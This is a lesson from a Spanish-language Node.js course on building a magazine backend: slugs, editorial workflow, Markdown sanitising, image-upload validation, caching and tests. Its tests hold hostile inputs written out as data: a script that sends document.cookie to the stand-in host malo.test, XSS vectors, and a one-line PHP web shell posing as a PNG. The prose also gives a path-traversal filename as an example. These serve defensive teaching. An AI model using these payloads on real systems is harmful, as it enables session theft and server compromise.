El tercer producto satélite es el magazine de Escena Viva: crónicas de los espectáculos, entrevistas con los artistas del Festival de Jazz de Primavera (evt-003), reportajes sobre el montaje del Teatro Almendra. Lo escriben los organizadores de cada sala y algunos colaboradores externos; lo leen miles de personas que llegan desde buscadores y redes.

La idea genuinamente nueva de este proyecto es el contenido: texto que un humano escribe y que hay que renderizar sin abrir un agujero de seguridad, ficheros que el usuario sube y que mienten sobre lo que son, y un patrón de tráfico invertido respecto a todo lo anterior —aquí hay miles de lecturas por cada escritura, y eso cambia la arquitectura entera.

Contenido

  1. El requisito de negocio
  2. Decisiones de diseño y alternativas descartadas
  3. El modelo de datos
  4. Slugs: generación, unicidad y por qué no se cambian
  5. Flujo editorial: borradores, versiones y publicación programada
  6. Markdown y el peligro real del HTML
  7. El reto técnico: subida y procesado de imágenes
  8. Rendimiento de lectura: ETag, Redis y desnormalización
  9. Búsqueda, paginación y comentarios moderados
  10. SEO y feeds
  11. Pruebas y qué queda fuera

  1. El requisito de negocio

  • Un organizador escribe un artículo en Markdown, lo guarda como borrador y lo revisa cuantas veces quiera.
  • Puede programar la publicación: la crónica del estreno sale a las 09:00 del día siguiente, no cuando el autor esté despierto.
  • Un artículo puede referirse a un evento del catálogo (evt-003) para enlazar con su ficha y sus entradas.
  • Los lectores anónimos leen artículos publicados, muy rápido y muy a menudo; los autenticados comentan, con moderación.
  • Todo el contenido publicado debe ser indexable: URL estables, sitemap, RSS y metadatos.

  1. Decisiones de diseño y alternativas descartadas

Decisión Alternativa descartada Por qué
MongoDB (M7) para artículos PostgreSQL, como la tienda El artículo es un documento de estructura variable. No hay transacciones entre entidades ni dinero, y su índice de texto nos da búsqueda gratis
Markdown en crudo, renderizado en el servidor Guardar el HTML ya renderizado El Markdown es la fuente editable; el HTML es un derivado. Si cambias de renderizador o descubres un fallo de saneado, regeneras. Al revés no se puede
Renderizar en el servidor y cachear el HTML Renderizar en el navegador El SEO exige HTML servido, y renderizar en cada lectura desperdicia CPU cuando el contenido cambia una vez al día
slug inmutable con redirecciones Regenerar el slug al editar el título Un slug que cambia rompe todos los enlaces externos y hunde el posicionamiento
Estado borrador/programado/publicado/archivado Un booleano publicado "Programado" y "archivado" no caben en un booleano, y son requisitos reales
Imágenes a almacenamiento de objetos Disco local El sistema de ficheros del PaaS es efímero (M11): un despliegue las borra
Miniaturas en la cola Procesar en la petición sharp es intensivo en CPU; tres tamaños dentro de la petición bloquean el bucle (M10)
npm install markdown-it sanitize-html multer sharp slugify

  1. El modelo de datos

// src/repositorios/esquemas/articulo.js
const esquemaArticulo = new Schema({
  slug: { type: String, required: true, unique: true },
  titulo: { type: String, required: true, maxlength: 160 }, resumen: { type: String },
  cuerpoMarkdown: { type: String, required: true },   // la fuente editable
  cuerpoHtml: String,                                 // derivado y saneado (punto 6)
  estado: { type: String, default: 'borrador',
            enum: ['borrador', 'programado', 'publicado', 'archivado'] },
  autorId: { type: String, required: true },
  autorNombre: { type: String, required: true },   // desnormalizado (punto 8)
  etiquetas: { type: [String], default: [] },
  eventoId: { type: String, default: null },       // 'evt-003'
  salaId: { type: String, default: null },         // 'teatro-almendra'
  imagenPortada: { clave: String, ancho: Number, textoAlternativo: String },
  publicadoEn: { type: Date, default: null }, programadoPara: { type: Date, default: null },
  versiones: { type: [esquemaVersion], default: [] },
  version: { type: Number, default: 1 } }, { timestamps: true });   // version → ETag

esquemaArticulo.index({ estado: 1, publicadoEn: -1 });    // consulta principal
esquemaArticulo.index({ etiquetas: 1, publicadoEn: -1 });
esquemaArticulo.index({ eventoId: 1, publicadoEn: -1 });
// Índice de texto para la búsqueda (punto 9); los pesos priorizan el título.
esquemaArticulo.index({ titulo: 'text', resumen: 'text', cuerpoMarkdown: 'text' },
  { weights: { titulo: 10, resumen: 5, cuerpoMarkdown: 1 }, default_language: 'spanish' });

Además hay dos colecciones: comentarios y redirecciones (slugAntiguo → slugNuevo). Los comentarios no se incrustan en el artículo: un documento de MongoDB tiene un límite de 16 MB y, sobre todo, un artículo popular con 800 comentarios haría que cada lectura cargara los 800. Cada elemento de versiones guarda numero, titulo, cuerpoMarkdown, autorId y guardadaEn.

  1. Slugs: generación, unicidad y por qué no se cambian

El repositorio de este mismo curso lo exige y el navegador lo agradece: nada de ñ, tildes, · ni apóstrofes en las URL.

// src/servicios/slugs.js — el índice unique sobre slug es la garantía final
// strict elimina lo que no sea alfanumérico o guion; locale 'es' pasa
// 'ñ' a 'n' y 'á' a 'a'. El corte a 80 da URLs legibles y compartibles.
const generarSlugBase = (titulo) =>
  slugify(titulo, { lower: true, strict: true, locale: 'es', trim: true }).slice(0, 80);

async function generarSlugUnico({ repositorioArticulos, titulo }) {
  const base = generarSlugBase(titulo);
  let candidato = base; let sufijo = 1;
  while (await repositorioArticulos.existeSlug(candidato)) {  // 2 o 3 vueltas a lo sumo
    sufijo += 1; candidato = `${base}-${sufijo}`;
  }
  return candidato;
}
module.exports = { generarSlugBase, generarSlugUnico };

'Crónica del Festival de Jazz: la noche en que la Sala Bóveda tembló' produce cronica-del-festival-de-jazz-la-noche-en-que-la-sala-boveda-temblo. El bucle tiene una carrera teórica (dos autores con el mismo título a la vez) que se resuelve capturando el error de clave duplicada y reintentando: la comprobación previa es una optimización, la restricción de la base de datos es la verdad. Por qué un slug no se cambia. Al cambiar /magazine/cronica-jazz por otra cosa, todos los enlaces externos devuelven 404, el buscador pierde el historial del artículo y empiezas de cero, y quien lo compartió comparte un enlace roto para siempre. Si el título cambia de verdad, la regla es crear el slug nuevo y guardar una redirección 301 permanente desde el antiguo.

La ruta GET /:slug busca primero el artículo publicado; si no lo encuentra consulta redirecciones y responde respuesta.redirect(301, ...); y solo si tampoco hay redirección lanza RecursoNoEncontrado. 301 y no 302: el 301 traslada el posicionamiento al destino y los clientes lo cachean; un 302 no traslada nada.

  1. Flujo editorial: borradores, versiones y publicación programada

De → a Quién Efecto
borrador → programado Autor o administrador Encola un trabajo diferido con programadoPara
borrador → publicado Autor o administrador publicadoEn = ahora, renderiza HTML, invalida caché
programado → borrador Autor o administrador Cancela el trabajo encolado
programado → publicado El sistema (trabajo de la cola) Igual que publicar a mano
publicado → archivado Administrador Deja de listarse; el slug redirige o devuelve 410

Quién puede mover cada transición lo decide la política pura del M8, no un if en el controlador. La publicación programada usa trabajos diferidos de BullMQ (M10).

// src/servicios/publicacion.js
async function programarPublicacion({ articulo, cuando, colaEditorial }) {
  const retrasoMs = new Date(cuando).getTime() - Date.now();
  if (retrasoMs <= 0) throw new ErrorDeValidacion('FECHA_EN_PASADO', { cuando });
  await colaEditorial.add('publicar-articulo', { articuloId: articulo.id },
    { delay: retrasoMs, attempts: 3, removeOnComplete: 100,
      jobId: `publicar-${articulo.id}` });   // determinista: reprogramar sustituye
  return repositorioArticulos.actualizar(articulo.id,
    { estado: 'programado', programadoPara: cuando });
}

// El consumidor (proceso aparte, M10/M11) REVALIDA el estado antes de actuar:
// si el autor volvió el artículo a borrador y el trabajo no se canceló bien,
// publicar a ciegas sacaría a la luz un texto retirado.
new Worker('editorial', async ({ data }) => {
  const articulo = await repositorioArticulos.obtener(data.articuloId);
  if (articulo?.estado !== 'programado') return { omitido: true };
  await servicioPublicacion.publicar(articulo);
}, { connection });

Historial de versiones. Cada guardado de un artículo ya publicado empuja la versión anterior al array versiones, con un tope de las 20 últimas. Cuesta muy poco y evita el desastre clásico: alguien pega mal, guarda, y el texto de dos horas se ha ido. Guardar versiones es más fácil que arrepentirse.

  1. Markdown y el peligro real del HTML

markdown-it convierte Markdown en HTML. El problema es que el Markdown admite HTML en crudo por diseño: si un autor escribe <script>...</script>, sale tal cual. Y "los autores son de confianza" es una premisa que dura hasta que un colaborador externo tiene cuenta o hasta que la cuenta de un organizador se ve comprometida. Desactivar el HTML (html: false) no basta: quedan vectores como [texto](javascript:alert(1)). La defensa correcta es de dos capas: renderizar con HTML desactivado y sanear el resultado con lista blanca.

// src/servicios/renderizador.js
const md = new MarkdownIt({ html: false, linkify: true, typographer: true });

const OPCIONES_SANEADO = {
  // Lista BLANCA: solo sobrevive lo enumerado. Una lista negra siempre
  // se queda corta ante una etiqueta o un atributo nuevo.
  allowedTags: ['h2', 'h3', 'h4', 'p', 'blockquote', 'ul', 'ol', 'li', 'strong', 'em',
    'code', 'pre', 'a', 'img', 'figure', 'figcaption', 'table', 'thead', 'tbody', 'tr',
    'th', 'td', 'hr', 'br'],
  allowedAttributes: { a: ['href', 'title', 'rel', 'target'], code: ['class'],
    img: ['src', 'alt', 'width', 'height', 'loading'] },
  allowedSchemes: ['http', 'https', 'mailto'],   // sin javascript: ni data:
  allowedSchemesByTag: { img: ['https'] },
  // Enlaces externos nunca sin rel, o exponemos window.opener.
  transformTags: { img: sanearHtml.simpleTransform('img', { loading: 'lazy' }),
    a: sanearHtml.simpleTransform('a', { rel: 'noopener noreferrer nofollow' }) },
};
const renderizarArticulo = (cuerpo) => sanearHtml(md.render(cuerpo), OPCIONES_SANEADO);
module.exports = { renderizarArticulo, OPCIONES_SANEADO };

El renderizado se hace al guardar y al publicar, no en cada lectura: el HTML saneado se guarda en cuerpoHtml. Eso tiene una consecuencia a veces olvidada: si mañana descubres que tu lista blanca dejaba pasar algo, no basta con corregir las opciones, hay que regenerar todos los cuerpoHtml con un script, y guardar siempre el Markdown original es lo que lo hace posible. Y la regla de oro del M8: escapar al mostrar todo lo que no pasa por este pipeline —el título, el nombre del autor, un comentario—.

  1. El reto técnico: subida y procesado de imágenes

Una foto de la Sala Bóveda llega desde el navegador, y todo lo que el cliente cuenta sobre ella es mentira potencial.

Paso 1: límites antes que nada. multer se configura con memoryStorage() —no tocamos disco, el del PaaS es efímero— y con limits: { fileSize: 8 MB, files: 5, fields: 10, parts: 20 }. Su fileFilter descarta por Content-Type lo evidente sin leer el contenido, pero no es la validación de verdad: ese encabezado lo elige el cliente.

Paso 2: validar el tipo real por número mágico. Es exactamente la lección 03-06 del M3. Ni la extensión ni el Content-Type prueban nada porque los elige el atacante; los primeros bytes del fichero, no.

// src/servicios/validacion-imagenes.js
// Firmas de los formatos que aceptamos (M3: Buffers y numeros magicos).
const FIRMAS = [
  { tipo: 'image/jpeg', extension: 'jpg', bytes: [0xff, 0xd8, 0xff] },
  { tipo: 'image/png', extension: 'png',
    bytes: [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a] },
  { tipo: 'image/webp', extension: 'webp', bytes: [0x52, 0x49, 0x46, 0x46],
    extra: (b) => b.subarray(8, 12).toString('ascii') === 'WEBP' },
];

function detectarTipoReal(bufer) {
  for (const firma of FIRMAS) {
    if (!bufer.subarray(0, firma.bytes.length).equals(Buffer.from(firma.bytes))) continue;
    if (firma.extra && !firma.extra(bufer)) continue;
    return { tipo: firma.tipo, extension: firma.extension };
  }
  return null;   // ninguna firma conocida: no es una imagen que aceptemos
}

validarImagen envuelve a detectarTipoReal: si no hay firma reconocida lanza CONTENIDO_NO_ES_IMAGEN, y si el tipo detectado no coincide con el mimetype declarado lanza TIPO_INCOHERENTE —porque un fichero que dice ser PNG y por dentro es otra cosa no es un error del usuario, es un intento—.

Paso 3: el nombre lo pone el servidor. fichero.originalname puede ser ../../../etc/passwd o montaje.jpg.php; no se usa para construir rutas ni para nada que no sea mostrarlo escapado. La clave del objeto se genera: `magazine/${articuloId}/${randomUUID()}.${extension}`, con la extensión derivada del contenido real. Si la imagen fuera a disco en desarrollo, la ruta pasa por resolverDentroDe del M3; en producción va a almacenamiento de objetos y se sirve con URL firmada de caducidad corta o desde una CDN, nunca desde el disco del contenedor (M11).

Paso 4: los tamaños se generan en la cola, porque procesar tres versiones de una foto de 8 MB dentro de la petición bloquea el proceso y dispara el p99 (M10).

// src/colas/imagenes.js — consumidor, proceso aparte
const TAMANOS = [{ nombre: 'miniatura', ancho: 320 }, { nombre: 'contenido', ancho: 960 },
                 { nombre: 'portada', ancho: 1600 }];

new Worker('imagenes', async ({ data }) => {
  const original = await almacen.descargar(data.claveOriginal);
  const generadas = [];
  for (const tamano of TAMANOS) {
    const salida = await sharp(original)
      .rotate()                                   // respeta la orientación EXIF
      .resize({ width: tamano.ancho, withoutEnlargement: true })
      .webp({ quality: 82 }).toBuffer();
    const clave = data.claveOriginal.replace(/\.(\w+)$/, `-${tamano.nombre}.webp`);
    await almacen.subir(clave, salida, 'image/webp');
    generadas.push({ nombre: tamano.nombre, clave, ancho: tamano.ancho });
  }
  await repositorioArticulos.registrarImagenes(data.articuloId, generadas);
}, { connection, concurrency: 2 });

El efecto secundario merece subrayarse: al recodificar con sharp, el fichero publicado es uno nuevo generado por nosotros, no el que subió el usuario; eso elimina de paso los metadatos EXIF (incluida la geolocalización) y neutraliza polyglots y cargas incrustadas.

  1. Rendimiento de lectura: ETag, Redis y desnormalización

Un artículo se escribe una vez y se lee cincuenta mil veces. Tres capas, de la más barata a la más cara:

flowchart LR
  N["Navegador"] -->|"If-None-Match"| C["CDN / proxy"]
  C -->|"304 o cuerpo"| N
  C -->|"fallo de cache"| A["API Express"]
  A --> R[("Redis")]
  R -->|"acierto"| A
  A -->|"fallo"| M[("MongoDB")]

Capa 1: cabeceras HTTP (M4). Quien ya tiene el artículo no debería descargarlo otra vez:

function responderArticulo(respuesta, articulo) {
  // El ETag se deriva del contenido: cambia solo si el artículo cambia.
  // s-maxage separa CDN de navegador; stale-while-revalidate sirve contenido
  // algo viejo mientras revalida, así el lector nunca espera.
  respuesta.set('ETag', `"art-${articulo.id}-${articulo.version}"`);
  respuesta.set('Cache-Control', 'public, max-age=60, s-maxage=300, stale-while-revalidate=600');
  return respuesta.json(articulo);
}

Express 5 compara el ETag con el If-None-Match entrante y responde 304 sin cuerpo: unos 200 bytes frente a los 40 KB del artículo. Capa 2: Redis con invalidación (M10), cache-aside con clave por slug:

// src/servicios/lectura-articulos.js
const CLAVE = (slug) => `articulo:publicado:${slug}`;

async function obtenerArticuloPublicado({ slug, redis, repositorioArticulos }) {
  const enCache = await redis.get(CLAVE(slug));
  if (enCache) return JSON.parse(enCache);
  const articulo = await repositorioArticulos.buscarPublicadoPorSlug(slug);
  if (!articulo) return null;
  // TTL como red de seguridad; la invalidación explícita es el mecanismo real.
  await redis.set(CLAVE(slug), JSON.stringify(articulo), 'EX', 600);
  return articulo;
}

async function invalidarArticulo({ slug, redis }) {
  // Los listados también contienen el artículo: hay que tirarlos.
  await redis.del(CLAVE(slug), 'magazine:portada', 'magazine:sitemap', 'magazine:rss');
}

La invalidación se dispara al publicar, al editar un publicado y al archivar. El error habitual es confiar solo en el TTL: un artículo con una errata visible durante diez minutos es lo que hace que el equipo editorial deje de confiar en la herramienta. Capa 3: desnormalizar el nombre del autor. El artículo guarda autorNombre, no solo autorId. Duplicar datos suele ser mala idea, pero aquí ahorra una consulta (o un $lookup) en cada una de las cincuenta mil lecturas, el nombre cambia casi nunca, y cuando cambia un trabajo de la cola actualiza sus artículos e invalida la caché. La regla general: desnormaliza cuando el dato es estable, la lectura es masiva y puedes nombrar al responsable de actualizarlo.

  1. Búsqueda, paginación y comentarios moderados

El índice de texto del punto 3 da una búsqueda decente sin infraestructura extra, y el listado usa paginación por cursor (M10), no skip:

const buscarArticulos = ({ consulta, limite = 10 }) => ModeloArticulo
  .find({ $text: { $search: consulta }, estado: 'publicado' },
        { puntuacion: { $meta: 'textScore' } })
  .sort({ puntuacion: { $meta: 'textScore' } }).limit(limite).lean();

async function listarPublicados({ cursor, limite = 12, etiqueta }) {
  const filtro = { estado: 'publicado' };
  if (etiqueta) filtro.etiquetas = etiqueta;
  if (cursor) filtro.publicadoEn = { $lt: new Date(cursor) };   // cursor, no skip
  // El select importa: no cargues cuerpoMarkdown ni versiones para una portada
  // de tarjetas. Es la diferencia entre transferir 8 KB y 800 KB por página.
  const docs = await ModeloArticulo.find(filtro)
    .select('slug titulo resumen autorNombre publicadoEn etiquetas imagenPortada')
    .sort({ publicadoEn: -1 }).limit(limite + 1).lean();
  const pagina = docs.slice(0, limite);   // el extra solo sirve para saber si hay más
  return { articulos: pagina.map(aResumenDominio),
    cursorSiguiente: docs.length > limite ? pagina.at(-1).publicadoEn.toISOString() : null };
}
MongoDB $text Elasticsearch / OpenSearch
Raíz de palabra por idioma, pesos por campo Analizadores configurables, sinónimos, tolerancia a erratas
Un índice de texto por colección, sin resaltado Múltiples índices, resaltado, sugerencias y facetas
Cero infraestructura extra Un clúster más que operar y pagar

Con unos miles de artículos, $text es la elección correcta; se cambia cuando aparezcan requisitos de "quiso decir", facetas combinadas o resaltado, y migrar es fácil si la búsqueda vive detrás de una interfaz de repositorio (M7). Comentarios. Un sistema abierto sin defensas se llena de basura en días. Las capas que funcionan: autenticación obligatoria (elimina el 90 % del ruido automatizado), límite de frecuencia del M6 (5 cada 10 minutos), validación zod (z.string().trim().min(2).max(2000) más un .refine() que rechaza más de dos enlaces), cola de moderación con estado pendiente por defecto, y escapado al mostrar: los comentarios no pasan por Markdown, son texto plano escapado.

  1. SEO y feeds

Con las piezas anteriores esto casi sale solo, y es lo que conecta el magazine con el mundo real del portal:

// src/rutas/feeds.js — el sitemap se cachea en Redis y se invalida al publicar
rutas.get('/sitemap.xml', async (peticion, respuesta) => {
  const enCache = await redis.get('magazine:sitemap');
  if (enCache) return respuesta.type('application/xml').send(enCache);
  const articulos = await repositorioArticulos.todosLosPublicados();
  const xml = ['<?xml version="1.0" encoding="UTF-8"?>',
    '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">',
    // lastmod = fecha de última edición, igual que el sitemap del portal.
    ...articulos.map((a) => `<url><loc>${configuracion.urlPublica}/magazine/${a.slug}</loc>` +
      `<lastmod>${a.actualizadoEn.toISOString().slice(0, 10)}</lastmod></url>`),
    '</urlset>'].join('\n');
  await redis.set('magazine:sitemap', xml, 'EX', 3600);
  return respuesta.type('application/xml').send(xml);
});

Lo mismo para /rss.xml (con <item> por artículo) y para los metadatos Open Graph derivados de titulo, resumen e imagenPortada. Detalle que arruina sitemaps: hay que escapar el XML (&, <, >) en los títulos; un ampersand suelto invalida el documento entero.

  1. Pruebas y qué queda fuera

describe('magazine', () => {
  it('sanea el HTML malicioso incrustado en el Markdown', () => {
    const html = renderizarArticulo(
      'Hola <script>fetch("//malo.test?c="+document.cookie)</script>\n\n' +
      '[pincha](javascript:alert(1))\n\n<img src=x onerror="alert(1)">');
    expect(html).to.not.include('<script');
    expect(html).to.not.include('javascript:');
    expect(html).to.not.include('onerror');
  });
  it('rechaza un fichero que dice ser PNG y no lo es', async () => {
    await peticion(crearAplicacion())
      .post('/api/v1/magazine/articulos/art-1/imagenes')
      .set('Authorization', `Bearer ${tokenOrganizador}`)
      .attach('imagen', Buffer.from('<?php system($_GET[0]); ?>'),
        { filename: 'foto.png', contentType: 'image/png' })
      .expect(400)
      .expect((r) => expect(r.body.error.codigo).to.equal('CONTENIDO_NO_ES_IMAGEN'));
  });
});

Faltan cuatro breves: que un artículo devuelto a borrador no se publique cuando su trabajo diferido se ejecuta, que una segunda petición con If-None-Match devuelva 304, que generarSlugBase produzca URLs sin tildes ni ñ, y que publicar invalide la clave de Redis. Pero la primera es la más valiosa del proyecto: una prueba de seguridad que se ejecuta en cada git push (M11, CI) y que impide que una actualización de dependencias reabra un XSS.

Fuera Por qué Ampliación
Editor visual (WYSIWYG) Es front-end, y grande Editor de bloques que emite Markdown; el servidor no cambia
Artículos multi-idioma Modelo distinto (grupos de traducción, hreflang) Colección traducciones con grupoId
Colaboración en vivo sobre el borrador Requiere CRDT u OT, otro curso Socket.IO del 12-01 + Yjs

Errores Comunes y Consejos

  • Confiar en el Content-Type o en la extensión. Ya lo sabías del M3; aquí es donde muerde: el número mágico es la única prueba real del tipo de un fichero.
  • Usar originalname para construir la ruta de guardado. Recorrido de directorios servido en bandeja: nombre generado siempre. Y no renderices el Markdown en cada lectura: renderiza al guardar, cachea el HTML y guarda siempre el original para poder regenerar.
  • Sanear con lista negra. Prohibir <script> no basta: quedan <iframe>, <object>, onmouseover, srcdoc… Lista blanca o nada. Tampoco cambies un slug sin redirección ni caches sin invalidar: un TTL es una red de seguridad, no una estrategia.
  • Consejo: pon un tope al array versiones. Un documento de MongoDB que crece sin límite acaba chocando con los 16 MB, y el fallo llega en el peor momento.

Ejercicios

  1. Redirección al renombrar. Implementa el cambio de slug de un artículo publicado: genera el nuevo, guarda la redirección desde el antiguo, invalida las cachés y devuelve 301 en el slug viejo. Añade una prueba de la cadena completa.

  2. Antispam por reputación. Implementa la regla "un usuario con 3 comentarios aprobados publica directamente"; el resto entran como pendiente. Pruébalo con un usuario nuevo y con uno veterano.

  3. Recuperar una versión. Implementa POST /articulos/:id/versiones/:numero/restaurar, que copia esa versión al artículo actual guardando antes la vigente. Solo el autor o un administrador.

Soluciones

1. Redirección al renombrar

async function renombrarSlug({ articuloId, tituloNuevo, actor }) {
  const articulo = await repositorioArticulos.obtener(articuloId);
  politica.exigir('articulo:editar', { actor, recurso: articulo });   // M8
  const slugNuevo = await generarSlugUnico({ repositorioArticulos, titulo: tituloNuevo });
  if (slugNuevo === articulo.slug) return articulo;
  const slugAntiguo = articulo.slug;
  const actualizado = await repositorioArticulos.actualizar(articuloId,
    { slug: slugNuevo, titulo: tituloNuevo, $inc: { version: 1 } });
  // La redirección se crea DESPUÉS de liberar el slug antiguo del artículo.
  await repositorioRedirecciones.crear({ slugAntiguo, slugNuevo, creadaEn: new Date() });
  await invalidarArticulo({ slug: slugAntiguo, redis });
  await invalidarArticulo({ slug: slugNuevo, redis });
  return actualizado;
}

La prueba pide el slug antiguo y espera un 301 con Location: /magazine/cronica-del-festival-de-jazz, y comprueba que la clave de Redis del slug viejo ya no existe.

2. Antispam por reputación

const APROBADOS_PARA_CONFIANZA = 3;

async function crearComentario({ articuloId, autor, texto }) {
  const aprobados = await repositorioComentarios.contarAprobadosDe(autor.id);
  const estado = aprobados >= APROBADOS_PARA_CONFIANZA ? 'publicado' : 'pendiente';
  const comentario = await repositorioComentarios.crear({ articuloId, autorId: autor.id,
    autorNombre: autor.nombre, texto, estado, creadoEn: new Date().toISOString() });
  // Solo invalidamos si se publica: si queda pendiente, la caché sigue correcta.
  if (estado === 'pendiente') await colaModeracion.add('revisar-comentario',
    { comentarioId: comentario.id });
  else await redis.del(`comentarios:${articuloId}`);
  return comentario;
}

Las pruebas son directas: un usuario recién registrado obtiene 'pendiente'; otro con tres comentarios aprobados sembrados obtiene 'publicado'.

3. Restaurar una versión

async function restaurarVersion({ articuloId, numero, actor }) {
  const articulo = await repositorioArticulos.obtener(articuloId);
  if (!articulo) throw new RecursoNoEncontrado('ARTICULO_NO_ENCONTRADO', { articuloId });
  politica.exigir('articulo:editar', { actor, recurso: articulo });
  const version = articulo.versiones.find((v) => v.numero === Number(numero));
  if (!version) throw new RecursoNoEncontrado('VERSION_NO_ENCONTRADA', { numero });
  // Antes de sobrescribir, la vigente se archiva: restaurar es reversible.
  const vigente = { numero: (articulo.versiones.at(-1)?.numero ?? 0) + 1,
    titulo: articulo.titulo, cuerpoMarkdown: articulo.cuerpoMarkdown,
    autorId: actor.id, guardadaEn: new Date() };
  const actualizado = await repositorioArticulos.actualizar(articuloId, {
    titulo: version.titulo, cuerpoMarkdown: version.cuerpoMarkdown,
    // Se re-sanea con la lista blanca ACTUAL, no con la de hace seis meses.
    cuerpoHtml: renderizarArticulo(version.cuerpoMarkdown),
    $push: { versiones: { $each: [vigente], $slice: -20 } },   // mantiene el tope
    $inc: { version: 1 } });
  await invalidarArticulo({ slug: articulo.slug, redis });
  return actualizado;
}

Conclusión

El magazine de Escena Viva parecía el proyecto más sencillo de los cuatro y ha resultado ser el que más superficie de ataque tiene. Has visto que el contenido escrito por humanos es un dato hostil hasta que se demuestre lo contrario: el Markdown admite HTML y hay que sanear con lista blanca, un fichero subido no es lo que dice ser y hay que mirarle los bytes, y el nombre que envía el cliente jamás toca una ruta del sistema de ficheros.

También has invertido el eje del rendimiento. En la tienda lo caro era la escritura y lo delicado la consistencia; aquí lo caro es la lectura repetida, y la respuesta es una pila de tres capas —ETag y Cache-Control en el borde, Redis con invalidación explícita en el medio, desnormalización controlada en el modelo—, cada una más barata que la siguiente. Y has puesto un límite honesto a la búsqueda con $text: suficiente hoy, sustituible mañana porque está detrás de un repositorio. En la última lección de proyectos volvemos hacia dentro de la empresa. La herramienta interna del equipo de Escena Viva trae el reto de la colaboración: permisos que dependen de la pertenencia a un espacio y no solo del rol, dos personas editando la misma tarea a la vez, un registro de actividad como fuente de verdad y notificaciones que hay que agrupar para no sepultar a nadie en correos.

Curso de Node.js: De Principiante a Avanzado

Módulo 1: Introducción a Node.js

Módulo 2: Conceptos Básicos

Módulo 3: Sistema de Archivos y E/S

Módulo 4: HTTP y Servidores Web

Módulo 5: NPM y Gestión de Paquetes

Módulo 6: Framework Express.js

Módulo 7: Bases de Datos y ORMs

Módulo 8: Autenticación y Autorización

Módulo 9: Pruebas y Depuración

Módulo 10: Temas Avanzados

Módulo 11: Despliegue y DevOps

Módulo 12: Proyectos del Mundo Real

© Copyright 2026. Todos los derechos reservados